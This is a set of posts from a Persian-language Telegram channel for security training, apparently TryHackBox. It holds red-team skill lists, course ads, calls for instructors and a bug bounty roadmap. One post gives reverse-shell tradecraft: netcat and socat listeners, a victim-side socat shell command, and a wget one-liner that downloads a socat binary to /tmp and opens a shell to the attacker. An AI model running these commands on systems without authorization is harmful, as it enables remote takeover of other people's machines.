10 مهارتی که هر هکر اخلاقی باید در آن مهارت داشته باشد
هک اخلاقی بسیار فراتر از استفاده از ابزارها یا exploiting از آسیب‌پذیری ها است. بهترین متخصصان تیم قرمز، قبل از تخصص در یک زمینه خاص، یک پایه قوی در چندین حوزه فنی ایجاد می کنند.
در اینجا 10 مهارت اصلی وجود دارد که هر فرد علاقه‌مند به فعالیت در تیم قرمز باید بر روی آن تمرکز کند:
🔴 شبکه
🔴 اصول اولیه لینوکس
🔴 امنیت برنامه های وب
🔴 روش شناسی تست نفوذ
🔴 برنامه نویسی و اسکریپت نویسی (پایتون، پاورشل، بش)
🔴 امنیت پایگاه داده
🔴 امنیت بی سیم
🔴 امنیت موبایل
🔴 اطلاعات جمع آوری شده از منابع باز (OSINT)
🔴 مهندسی اجتماعی
تسلط بر این اصول اساسی به شما کمک میکند تا درک کنید که مهاجمان چگونه فکر می‌کنند، مهارت‌های امنیتی تهاجمی خود را بهبود بخشید و در نهایت، یک مدافع بهتر شوید.
#RedTeam #رد_تیم #تیم_قرمز
@TryHackBox
@TryHackBoxOfficial
@RadioZeroPod
@AiTHB
هک اخلاقی بسیار فراتر از استفاده از ابزارها یا exploiting از آسیب‌پذیری ها است. بهترین متخصصان تیم قرمز، قبل از تخصص در یک زمینه خاص، یک پایه قوی در چندین حوزه فنی ایجاد می کنند.
در اینجا 10 مهارت اصلی وجود دارد که هر فرد علاقه‌مند به فعالیت در تیم قرمز باید بر روی آن تمرکز کند:
🔴 شبکه
🔴 اصول اولیه لینوکس
🔴 امنیت برنامه های وب
🔴 روش شناسی تست نفوذ
🔴 برنامه نویسی و اسکریپت نویسی (پایتون، پاورشل، بش)
🔴 امنیت پایگاه داده
🔴 امنیت بی سیم
🔴 امنیت موبایل
🔴 اطلاعات جمع آوری شده از منابع باز (OSINT)
🔴 مهندسی اجتماعی
تسلط بر این اصول اساسی به شما کمک میکند تا درک کنید که مهاجمان چگونه فکر می‌کنند، مهارت‌های امنیتی تهاجمی خود را بهبود بخشید و در نهایت، یک مدافع بهتر شوید.
#RedTeam #رد_تیم #تیم_قرمز
@TryHackBox
@TryHackBoxOfficial
@RadioZeroPod
@AiTHB
👍4❤2
Forwarded from Try Hack Box
This media is not supported in your browser
VIEW IN TELEGRAM
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد.
۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران
@TryHackBox
۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران
@TryHackBox
🔥4🤓1
Forwarded from Try Hack Box
🔥 سری Bash برای باگ هانترها
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).
برای full interactive keyboard controls، از socat interactive shell استفاده کن:
در سمت attacker:
اگر error داد، امتحان کن:
در سمت victim (برای full TTY reverse shell):
اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن:
برای stop کردن socat:
نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.
@TryHackBox
#باگ_بانتی
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
rlwrap -cAr nc -lvnp <port>
یا
rlwrap -f. -r nc -lnvp <port>
حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).
برای full interactive keyboard controls، از socat interactive shell استفاده کن:
در سمت attacker:
socat file:tty,raw,echo=0 tcp-listen:<port>
اگر error داد، امتحان کن:
socat file:$(tty),raw,echo=0 tcp-listen:<port>
در سمت victim (برای full TTY reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
برای stop کردن socat:
ps aux | grep socat
Kill -9 socat <PID>
نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.
کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟
@TryHackBox
#باگ_بانتی
❤2
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .
کانال ما در بله
https://ble.ir/TryHackBox
کانال ما در بله
https://ble.ir/TryHackBox
ble.ir
بله | کانال TryHackBox
Forwarded from Try Hack Box
Python for Pentesters - s.pdf
234.3 KB
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters
مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می کند.
نحوه همکاری:
🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه مند به همکاری در تولید یک دوره تخصصی و پروژه محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید.
📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید:
@THBxSupport
مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می کند.
هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.
نحوه همکاری:
همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می شود.
🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه مند به همکاری در تولید یک دوره تخصصی و پروژه محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید.
📌 سرفصل ها دوره در فایل موجود است .
📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید:
@THBxSupport
📌 معرفی ۱۴ مستند امنیت سایبری
دنیای سایبرسکیوریتی فقط به ابزارها و تکنیک های هک محدود نمیشه پشت هر حمله، افشاگری و تحول امنیتی داستانی واقعی وجود داره. این ۱۴ مستند میتونن دید عمیق تری نسبت به دنیای امنیت سایبری بهتون بدن.
@TryHackBoxOfficial
دنیای سایبرسکیوریتی فقط به ابزارها و تکنیک های هک محدود نمیشه پشت هر حمله، افشاگری و تحول امنیتی داستانی واقعی وجود داره. این ۱۴ مستند میتونن دید عمیق تری نسبت به دنیای امنیت سایبری بهتون بدن.
@TryHackBoxOfficial
❤🔥2
Network Reconnaissance & Service Enumeration tryhackbox.pdf
93.8 KB
📌 دعوت به همکاری برای تدریس مینی دوره Network Reconnaissance
مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند.
➖ مدت دوره: ۸ ساعت
⭕ متخصصانی که در این حوزه تجربه عملی و توانایی تولید محتوای آموزشی دارند، می‌توانند برای اعلام آمادگی همکاری و دریافت جزئیات بیشتر با ما در ارتباط باشند .
جهت جزئیات بیشتر پیام دهید :
@ThbxSupport
مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند.
هدف این مینی دوره، آموزش عملی شناسایی زیرساخت شبکه، کشف هاست های فعال، اسکن پورت ها، شناسایی سرویس ها و استخراج اطلاعات فنی از سرویس های شبکه در محیط آزمایشگاهی است.
➖ مدت دوره: ۸ ساعت
📌 سرفصل ها دوره در فایل موجود است .
⭕ متخصصانی که در این حوزه تجربه عملی و توانایی تولید محتوای آموزشی دارند، می‌توانند برای اعلام آمادگی همکاری و دریافت جزئیات بیشتر با ما در ارتباط باشند .
جهت جزئیات بیشتر پیام دهید :
@ThbxSupport
📖 نقشه راه شروع باگ بانتی برای مبتدیان
اگر می‌خواهید باگ بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.
برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5
اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد.
📩 @THBxSupport
🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔 @AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast
اگر می‌خواهید باگ بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.
برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5
اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد.
📩 @THBxSupport
🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔 @AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast
ا📌 AutoKRP یک سامانه یکپارچه برای مدیریت و خودکارسازی عملیات IT و امنیت شبکه است. این پروژه ابزارهایی مانند Splunk، AbuseIPDB، FortiGate و Redmine را به یکدیگر متصل میکند. همچنین امکانات مدیریت SSH، پایش شبکه و نگهداری رمزنگاری‌شده اطلاعات دسترسی را فراهم میکند. هدف آن متمرکزسازی و ساده‌سازی عملیات تیم‌های IT و SOC در قالب معماری کلاینت–سرور چندکاربره است.
https://github.com/Kamyar-rp/AutoKRP
🆔 @TryHackBox
🆔 @TryHackBoxOfficial
https://github.com/Kamyar-rp/AutoKRP
🆔 @TryHackBox
🆔 @TryHackBoxOfficial
GitHub
GitHub - Kamyar-rp/AutoKRP: Security response automation for Windows: Splunk → AbuseIPDB → FortiGate → Redmine
Security response automation for Windows: Splunk → AbuseIPDB → FortiGate → Redmine - Kamyar-rp/AutoKRP
👏3
Forwarded from Try Hack Box
Media is too big
VIEW IN TELEGRAM
📌 THB-WR201 | Web Reconnaissance & Attack Surface Discovery
⏳ مدت دوره: ۸ساعت
💰قیمت : ۱,۶۹۰,۰۰۰ تومان
🔥 ثبت نام برای ۳ نفر اول : ۱,۳۹۰,۰۰۰ تومان
💢 دوره شامل ۲ ساعت لایو آموزشی هم می باشد.
📍 کلاس : آنلاین
🗓 تاریخ شروع کلاس : پنجشنبه 1405/08/28
🗓 روزها : یکشنبه ، سه شنبه ، پنجشنبه
⏰ ساعت کلاس ها : 20:00
▫️ پشتیبانی : دارد
💢 دانشجویان که به هر دلیل نتونند کلاس شرکت کنند ویدئوی جلسه ای که حضور نداشتند در اختیارشون قرار میگیرد
📄 مشاهده سرفصل ها
👨🏫 مدرس : محمد طاهری
👤 لینکدین مدرس
📌 جهت ثبت نام ،به ایدی زیر پیام دهید:
@ThbxSupport
@TryHackBox
قبل از شروع تست نفوذ وب، باید بدانید دقیقاً با چه زیرساختی روبه‌رو هستید و سطح حمله تارگت از چه بخش‌هایی تشکیل شده است.
در این دوره، فرآیند شناسایی و جمع‌آوری اطلاعات از زیرساخت وب را به‌صورت عملی و سناریومحور یاد می‌گیرید؛ از کشف دامنه‌ها و Subdomainها تا شناسایی تکنولوژی‌ها، Endpointها و Assetهای پنهان.
⏳ مدت دوره: ۸ساعت
💰
🔥 ثبت نام برای ۳ نفر اول : ۱,۳۹۰,۰۰۰ تومان
💢 دوره شامل ۲ ساعت لایو آموزشی هم می باشد.
📍 کلاس : آنلاین
🗓 تاریخ شروع کلاس : پنجشنبه 1405/08/28
🗓 روزها : یکشنبه ، سه شنبه ، پنجشنبه
⏰ ساعت کلاس ها : 20:00
▫️ پشتیبانی : دارد
💢 دانشجویان که به هر دلیل نتونند کلاس شرکت کنند ویدئوی جلسه ای که حضور نداشتند در اختیارشون قرار میگیرد
📄 مشاهده سرفصل ها
👨🏫 مدرس : محمد طاهری
👤 لینکدین مدرس
📌 جهت ثبت نام ،به ایدی زیر پیام دهید:
@ThbxSupport
@TryHackBox